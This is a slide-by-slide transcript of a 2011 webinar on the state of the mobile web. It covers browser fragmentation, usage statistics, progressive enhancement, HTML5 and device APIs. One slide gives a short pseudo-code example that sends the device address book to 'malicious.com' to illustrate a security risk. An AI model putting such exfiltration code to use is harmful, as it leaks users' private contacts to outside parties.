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State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z.

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Presentation on theme: "State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z."— Presentation transcript:

1 State of the mobile web Peter-Paul Koch Gomez Webinar, 24 March 2011 z

2 Mobile First! Design your sites for mobile first. You’ll be forced to decide what is so important that it MUST be shown in the mobile device’s tiny display. The things you leave out of the mobile version don’t really need to be in the desktop version, either.

3 Safari iPhone Android WebKit Dolfin for bada BlackBerry WebKit Opera Mobile Opera Mini MicroB Nokia WebKit Firefox Obigo WebKit Ovi Bolt BlackBerry old Phantom Obigo old NetFront IE UCWeb The mobile browsers You may groan now.

4 Safari iPhone Android WebKit Dolfin for bada BlackBerry WebKit Opera Mobile Opera Mini MicroB Nokia WebKit Firefox Obigo WebKit Ovi Bolt BlackBerry old Phantom Obigo old NetFront IE UCWeb The mobile browsers WebKit-based

5 WebKit on Mobile There is no WebKit on mobile! There's iPhone Safari (2 and 3), and Android (1.0 and 1.5)‏ and S60 WebKit (v3 and v5)‏ and Blackberry WebKit, and Palm WebKit, and Bolt, Ozone, Teashark, and a few more These WebKits are all different.

6 Exhibit A: WebKit comparison table

7 Safari iPhone Android WebKit Dolfin for bada BlackBerry WebKit Opera Mobile Opera Mini MicroB Nokia WebKit Firefox Obigo WebKit Ovi Bolt BlackBerry old Phantom Obigo old NetFront IE UCWeb The mobile browsers

8 Safari iPhone Android WebKit Dolfin for bada BlackBerry WebKit Opera Mobile Opera Mini MicroB Nokia WebKit Firefox Obigo WebKit Ovi Bolt BlackBerry old Phantom Obigo old NetFront IE UCWeb The mobile browsers Proxy browsers

9 Page is downloaded to and rendered on a specialised server. A highly compressed image is sent to the client. Advantage: cheap, both in device and in network costs Disadvantage: no client-side interactivity

10 Global stats Q (by StatCounter) Safari 23 % iOSStable Opera 22 % Many OSsStable BlackBerry 18 % BlackBerryDown Nokia 16 % Symbian (and S40)Stable Android 12 % AndroidUp NetFront4% Sony Ericsson and Samsung Stable Samsung1%badaUp UCWeb1%Many OSsDown Others3%

11 Browser stats Those are GLOBAL stats; they are not necessarily correct for the sites you’re working on. Always check your stats. Social media referrals cause disproportionate iPhone visits; and Android to a lesser degree.

12 Stats (global, Q4 2010)

13 Rest? What rest? But usually this is what happens

14 Which mobile browsers? Safari iPhone Opera Mini Android WebKit US: BlackBerry (WebKit and older) Europe: Nokia WebKit Dolfin for bada (easy) Opera Mobile (easy)

15 Progressive enhancement How do you deal with this immense amount of browsers? Use advanced tricks, but make sure your site remains usable without them. The site is enhanced as much as the browser allows.

16 Progressive enhancement HTML All browsers support HTML. That’s the definition of a browser.

17 Progressive enhancement HTML Basic CSS All browsers support most basic CSS. There will be bugs, but only few.

18 Progressive enhancement HTML Basic CSS Advanced CSS Advanced CSS is restricted to advanced browsers. Make sure it contains nothing vital; just nice extras.

19 Progressive enhancement HTML Basic CSS Advanced CSS Basic JavaScript All browsers support basic JavaScript, but they can be slow. Maybe switch off in BB5 and lower.

20 Progressive enhancement HTML Basic CSS Advanced CSS Basic JavaScript Advanced JavaScript Advanced JavaScript is a problem. Feature detection is your friend. Make sure it contains nothing vital.

21 Progressive enhancement CSS animations? Use them. If they don’t work, nothing is lost. Offline storage? Use it. If it doesn’t work, the user reloads the site every time. Not perfect, but it works.

22 Performance How long does it take to generate 250 lists with 20 items each? The following graphs give the number of seconds it took the browsers.

23 Performance

24

25 HTML5 Which browsers support HTML5? What is HTML5, anyway? Ask five web developers and they’ll give you five different answers.

26 HTML5 Offline storage Video and audio Canvas New input types Websockets New semantics SVG File API etc. etc. etc.

27 Safari iPhone Android WebKit Dolfin for bada BlackBerry WebKit Opera Mobile Opera Mini MicroB Nokia WebKit Firefox Obigo WebKit Ovi Bolt BlackBerry old Phantom Obigo old NetFront IE UCWeb Offline storage

28 Safari iPhone Android WebKit Dolfin for bada BlackBerry WebKit Opera Mobile Opera Mini MicroB Nokia WebKit Firefox Obigo WebKit Ovi Bolt BlackBerry old Phantom Obigo old NetFront IE UCWeb SVG

29 Safari iPhone Android WebKit Dolfin for bada BlackBerry WebKit Opera Mobile Opera Mini MicroB Nokia WebKit Firefox Obigo WebKit Ovi Bolt BlackBerry old Phantom Obigo old NetFront IE UCWeb New input types

30 HTML5 Which browsers support HTML5? It depends. HTML5 is mainly a marketing buzzword. That’s not bad; we need it. But it has no technical meaning.

31 HTML5 apps One core app written in HTML, CSS, and JavaScript. Deployed to several mobile platforms. Ideally, CSS and JavaScript are stored on the device. If it can't be deployed it's still a website.

32 SymbianWindows Mobile I’ve done it. In April 2009.

33 Device APIs Native apps offer device APIs. They allow you to access the camera, accelerometer, SMS, file system, etc. Web apps will have to offer them, too. device.phone.call(device.addressBook['mom'])‏

34 Device APIs There’s a serious security problem here. Providing trusted apps might remain an app store function. var ab = device.addressBook.toString(); sendRequest(POST,'malicious.com',ab);

35 Summary Mobile First! Design for mobile, and your desktop site will become better, too. Use progressive enhancement. Lots of it. It will keep you sane. Know which browsers to develop for.

36 Which mobile browsers? Safari iPhone Opera Mini Android WebKit US: BlackBerry (WebKit and older) Europe: Nokia WebKit Dolfin for bada (easy) Opera Mobile (easy)

37 Thank you Peter-Paul Koch Gomez Webinar, 24 March 2011 z


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